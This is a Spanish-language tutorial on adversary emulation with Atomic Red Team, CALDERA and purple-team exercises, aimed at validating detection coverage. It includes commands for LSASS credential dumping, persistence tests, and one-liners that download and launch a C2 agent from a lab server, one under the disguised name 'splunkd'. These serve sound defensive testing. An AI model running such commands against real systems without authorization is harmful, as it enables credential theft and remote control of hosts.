Simulación de Ataques: CALDERA, Atomic Red Team y Purple Team
Guía completa de herramientas de simulación de ataques: CALDERA de MITRE, Atomic Red Team de Red Canary y ejercicios Purple Team. Configuración, ejecución de adversary emulation y mejora de capacidades de detección.
El paradigma de adversary emulation
La pregunta fundamental de la seguridad defensiva no es "tenemos herramientas de seguridad", sino "nuestras herramientas detectan los ataques que importan". La simulación de ataques responde a esta pregunta replicando las TTPs (Tácticas, Técnicas y Procedimientos) de actores de amenaza reales contra las defensas del entorno.
Hay tres niveles de madurez en simulación de ataques:
- Tests atómicos: probar técnicas individuales de forma aislada (Atomic Red Team)
- Adversary emulation: ejecutar cadenas de ataque completas que simulan actores reales (CALDERA)
- Purple team continuo: integrar la simulación en el ciclo de mejora continua de detección
Cada nivel construye sobre el anterior. No tiene sentido ejecutar emulaciones completas de APT28 si no se detectan ni las técnicas más básicas de persistencia.
Atomic Red Team
Qué es
Atomic Red Team es una librería de tests atómicos mantenida por Red Canary. Cada "atomic test" simula una técnica MITRE ATT&CK específica de forma aislada, reproducible y reversible. La librería contiene más de 1.000 tests que cubren cientos de técnicas ATT&CK.
La filosofía es simple: un test, una técnica, un resultado medible. Si la detección funciona, el test genera una alerta. Si no genera alerta, hay un gap de detección.
Instalación
# En Windows (PowerShell como Administrador)
Install-Module -Name invoke-atomicredteam -Scope CurrentUser
Install-Module -Name powershell-yaml -Scope CurrentUser
# Descargar los atomics
Invoke-AtomicRedTeam -GetAtomics
# Verificar instalación
Get-AtomicTechnique -TechniqueID T1003
# En Linux
git clone https://github.com/redcanaryco/atomic-red-team.git
cd atomic-red-team
# Instalar el executor
pip install atomic-operator
Ejecución de tests
# Listar tests disponibles para una técnica
Invoke-AtomicTest T1003.001 -ShowDetails
# Ejecutar un test específico
Invoke-AtomicTest T1003.001 -TestNumbers 1
# Ejecutar todos los tests de una técnica
Invoke-AtomicTest T1003.001
# Ejecutar y limpiar después
Invoke-AtomicTest T1003.001 -TestNumbers 1 -Cleanup
Tests esenciales para validar detecciones
T1003.001: OS Credential Dumping (LSASS Memory)
# Test: Dump LSASS memory using comsvcs.dll
Invoke-AtomicTest T1003.001 -TestNumbers 2
# Lo que genera:
# - Sysmon Event ID 10 (Process Access to lsass.exe)
# - Windows Security Event 4656 (Handle to LSASS)
# - Archivo de volcado de memoria
# Verificar en Splunk:
# index=sysmon EventCode=10 TargetImage="*lsass.exe"
T1547.001: Registry Run Keys Persistence
# Test: Reg Key Run persistence
Invoke-AtomicTest T1547.001 -TestNumbers 1
# Lo que genera:
# - Sysmon Event ID 13 (Registry value set)
# - Clave en HKCU\Software\Microsoft\Windows\CurrentVersion\Run
# Verificar en Splunk:
# index=sysmon EventCode=13 TargetObject="*\\Run\\*"
T1059.001: PowerShell Execution
# Test: PowerShell download cradle
Invoke-AtomicTest T1059.001 -TestNumbers 1
# Lo que genera:
# - Sysmon Event ID 1 (Process Create con powershell.exe)
# - PowerShell ScriptBlock Logging (Event ID 4104)
# - Sysmon Event ID 3 (Network connection)
T1053.005: Scheduled Task Persistence
# Test: Scheduled Task created via schtasks
Invoke-AtomicTest T1053.005 -TestNumbers 1
# Lo que genera:
# - Windows Security Event 4698 (Scheduled Task created)
# - Sysmon Event ID 1 (schtasks.exe process creation)
Flujo de trabajo con Atomic Red Team
1. SELECCIONAR técnica ATT&CK relevante para tu organización
(basado en threat intelligence: qué TTPs usan los actores que te atacan)
2. VERIFICAR si tienes detección existente
Revisar reglas Sigma/Splunk/EDR para la técnica
3. EJECUTAR el test atómico
Invoke-AtomicTest T1xxx -TestNumbers N
4. VERIFICAR en SIEM/EDR
¿Se generó alerta? ¿Con qué detalle? ¿Qué contexto tiene?
5. SI no se detectó: ESCRIBIR regla de detección
Analizar los logs generados → crear regla Sigma → convertir a Splunk/EDR
6. RE-EJECUTAR el test para validar la nueva regla
7. DOCUMENTAR la cobertura
Actualizar la matriz ATT&CK del equipo
CALDERA
Qué es
CALDERA es un framework de adversary emulation desarrollado por MITRE (los mismos creadores de ATT&CK). A diferencia de Atomic Red Team que ejecuta técnicas aisladas, CALDERA ejecuta operaciones completas: cadenas de ataque que simulan el comportamiento de actores de amenaza reales.
CALDERA funciona con un modelo de agente-servidor. El servidor controla la operación y los agentes (llamados "Sandcat") se ejecutan en las máquinas objetivo, recibiendo y ejecutando instrucciones.
Arquitectura
┌─────────────────────────────────────────┐
│ CALDERA Server │
│ ┌─────────────────────────────────┐ │
│ │ Abilities │ Adversaries │ │
│ │ (técnicas) │ (perfiles) │ │
│ ├──────────────┼──────────────────┤ │
│ │ Operations │ Planners │ │
│ │ (ejecuciones)│ (estrategias) │ │
│ └─────────────────────────────────┘ │
│ │ │
│ C2 Channel │
│ │ │
├──────────┬───────┼────────┬──────────────┤
│ Sandcat │ Sandcat│ Sandcat │ │
│ Agent 1 │ Agent 2│ Agent 3 │ │
│ (DC) │ (WEF) │ (WIN10) │ │
└──────────┴────────┴─────────┴──────────────┘
Instalación
# Clonar el repositorio
git clone https://github.com/mitre/caldera.git --recursive
cd caldera
# Instalar dependencias
pip install -r requirements.txt
# Iniciar el servidor
python server.py --insecure --build
# Acceder a la interfaz web
# http://localhost:8888
# Credenciales: admin / admin (cambiar inmediatamente)
Desplegar agentes
# En la máquina objetivo (Windows)
# Descargar el agente Sandcat desde la interfaz de CALDERA
# Ejecutar el agente
$server = "http://192.168.38.1:8888"
$url = "$server/file/download"
$wc = New-Object System.Net.WebClient
$wc.Headers.add("platform","windows")
$wc.Headers.add("file","sandcat.go-windows")
$output = $wc.DownloadData($url)
[io.file]::WriteAllBytes("C:\sandcat.exe", $output)
Start-Process -FilePath "C:\sandcat.exe" -ArgumentList "-server $server -group red"
# En la máquina objetivo (Linux)
server="http://192.168.38.1:8888"
curl -s -X POST -H "file:sandcat.go-linux" -H "platform:linux" \
$server/file/download -o splunkd
chmod +x splunkd
./splunkd -server $server -group red &
Conceptos clave
Abilities (habilidades): técnicas individuales que CALDERA puede ejecutar. Cada ability está mapeada a una técnica ATT&CK y contiene los comandos específicos por plataforma.
Adversaries (adversarios): perfiles que agrupan abilities en el orden que un actor real las ejecutaría. CALDERA incluye perfiles predefinidos para actores como APT3, APT29 y otros.
Operations (operaciones): ejecuciones concretas de un adversary profile contra los agentes desplegados.
Planners (planificadores): algoritmos que deciden qué ability ejecutar a continuación basándose en los resultados anteriores. El planner "atomic" ejecuta todo secuencialmente; el "buckets" agrupa por fase de ataque.
Ejecutar una operación
1. Ir a Operations → Create Operation
2. Seleccionar adversary profile (ej: "APT3")
3. Seleccionar grupo de agentes ("red")
4. Seleccionar planner ("atomic" para secuencial)
5. Iniciar operación
CALDERA ejecutará automáticamente:
Fase 1: Discovery (whoami, ipconfig, net user)
Fase 2: Credential Access (mimikatz, hashdump)
Fase 3: Lateral Movement (PsExec, WMI)
Fase 4: Collection (file search, clipboard)
Fase 5: Exfiltration (HTTP POST a C2)
Adversary profiles incluidos
| Perfil | Descripción | Técnicas |
|---|---|---|
| APT3 | Grupo chino (Gothic Panda). Espionaje corporativo | T1003, T1057, T1082, T1016 |
| APT29 | SVR ruso (Cozy Bear). Operaciones de larga duración | T1053, T1547, T1071, T1055 |
| FIN6 | Grupo criminal. Robo de tarjetas de crédito | T1059, T1003, T1005, T1041 |
| Sandworm | GRU ruso. Ataques destructivos (NotPetya) | T1059, T1569, T1070, T1486 |
Crear adversary profiles personalizados
Puedes crear perfiles basados en tu threat intelligence:
# adversaries/custom_ransomware.yml
name: Generic Ransomware Operator
description: Simula un operador de ransomware genérico
phases:
1: # Initial Access + Execution
- T1059.001 # PowerShell
- T1204.002 # User Execution: Malicious File
2: # Discovery
- T1082 # System Information Discovery
- T1083 # File and Directory Discovery
- T1135 # Network Share Discovery
3: # Credential Access
- T1003.001 # LSASS Memory
- T1003.003 # NTDS.dit
4: # Lateral Movement
- T1021.002 # SMB/Windows Admin Shares
- T1021.001 # Remote Desktop Protocol
5: # Impact
- T1486 # Data Encrypted for Impact
- T1490 # Inhibit System Recovery
Purple Team: integrando ataque y defensa
Metodología
El purple teaming no es un ejercicio puntual, sino un proceso continuo:
┌───────────────────────────────────────────────────┐
│ CICLO PURPLE TEAM │
│ │
│ ┌──────────┐ ┌──────────┐ ┌──────────┐ │
│ │ THREAT │───→│ SIMULATE │───→│ DETECT │ │
│ │ INTEL │ │ (Red) │ │ (Blue) │ │
│ └──────────┘ └──────────┘ └──────────┘ │
│ ↑ │ │
│ │ ┌──────────┐ │ │
│ └──────────│ IMPROVE │←────────┘ │
│ │ (Purple) │ │
│ └──────────┘ │
└───────────────────────────────────────────────────┘
1. THREAT INTEL: Identificar qué actores amenazan tu organización
→ ¿Qué TTPs usan APT28, FIN7, Cl0p según threat intel?
2. SIMULATE: Ejecutar esas TTPs en el laboratorio
→ Atomic Red Team para técnicas individuales
→ CALDERA para cadenas de ataque completas
3. DETECT: Verificar si las defensas detectan
→ ¿Splunk/EDR generaron alerta?
→ ¿La alerta tiene contexto suficiente?
→ ¿El analista puede investigar con la información disponible?
4. IMPROVE: Cerrar gaps de detección
→ Escribir reglas Sigma/Yara/EDR
→ Mejorar logging (Sysmon config, audit policies)
→ Añadir contexto a las alertas
→ Documentar playbooks de respuesta
Ejemplo práctico de ejercicio Purple Team
Escenario: la threat intel indica que un actor usa Cobalt Strike con persistencia vía Scheduled Tasks.
RED TEAM:
1. Ejecutar Atomic Test T1053.005 (Scheduled Task)
2. Ejecutar Atomic Test T1059.001 (PowerShell IEX)
3. Simular beacon HTTP (CALDERA con perfil custom)
BLUE TEAM:
1. Monitorizar Splunk durante la simulación
2. Documentar qué alertas se generaron
3. Identificar gaps:
- ¿Se detectó la creación de la tarea programada?
- ¿Se detectó la ejecución de PowerShell?
- ¿Se detectó el beaconing HTTP?
RESULTADO:
Gap 1: No se detecta schtasks.exe cuando se ejecuta
desde un proceso hijo de Word/Excel
→ Acción: Crear regla Sigma para process tree anómalo
Gap 2: El beacon HTTP no genera alerta porque usa
User-Agent legítimo
→ Acción: Implementar detección de beaconing por
regularidad temporal (JA3 fingerprinting)
Otras herramientas de simulación
Infection Monkey (Akamai/Guardicore)
Framework de Breach and Attack Simulation (BAS) que se propaga automáticamente por la red probando técnicas de ataque:
Características:
- Auto-propagación por SMB, SSH, WMI
- Mapeo automático de la red
- Reportes de seguridad zero-trust
- Gratuito y open source
Stratus Red Team (DataDog)
Especializado en simulación de ataques en entornos cloud (AWS, Azure, GCP):
# Instalar
go install github.com/datadog/stratus-red-team/v2/...@latest
# Listar técnicas disponibles
stratus list
# Simular exfiltración S3
stratus detonate aws.exfiltration.s3-backdoor-bucket-policy
VECTR (SecurityRiskAdvisors)
Plataforma de tracking para ejercicios purple team:
Funcionalidades:
- Registro de técnicas ejecutadas y resultados
- Dashboard de cobertura ATT&CK
- Tracking histórico de mejoras
- Reportes ejecutivos
Comparativa de herramientas
| Herramienta | Enfoque | Complejidad | Coste |
|---|---|---|---|
| Atomic Red Team | Tests individuales aislados | Baja | Gratis |
| CALDERA | Operaciones completas automatizadas | Media | Gratis |
| Infection Monkey | Propagación automática por red | Media | Gratis |
| Stratus Red Team | Simulación en cloud | Media | Gratis |
| VECTR | Tracking de purple team | Baja | Gratis |
| Cobalt Strike | Adversary emulation avanzada | Alta | Comercial |
| AttackIQ | BAS enterprise | Media | Comercial |
| SafeBreach | BAS enterprise | Media | Comercial |
Buenas prácticas
- Empezar simple: primero Atomic Red Team con técnicas básicas antes de cadenas completas con CALDERA
- Basarse en threat intel: simular técnicas de actores que realmente amenazan tu organización, no técnicas aleatorias
- Documentar todo: cada test ejecutado, cada resultado, cada gap encontrado, cada mejora implementada
- Ciclo continuo: la simulación no es un proyecto con fin, es un proceso recurrente
- Métricas: tracking de cobertura ATT&CK mes a mes para demostrar progreso
- Solo en laboratorio o con autorización: nunca ejecutar simulaciones en producción sin aprobación formal
- Limpiar después: ejecutar los cleanup de Atomic Red Team después de cada test
La simulación de ataques cierra el gap entre la teoría (tener herramientas de seguridad) y la práctica (saber que funcionan). CALDERA y Atomic Red Team son gratuitos, potentes y directamente mapeados a MITRE ATT&CK. No hay excusa para no validar las defensas.
Preguntas frecuentes
Libros recomendados
Artículos relacionados
Este contenido tiene fines exclusivamente educativos y de investigación en ciberseguridad defensiva. No se proporcionan binarios maliciosos ni payloads ejecutables. El uso indebido de esta información es responsabilidad exclusiva del usuario. Leer disclaimer completo.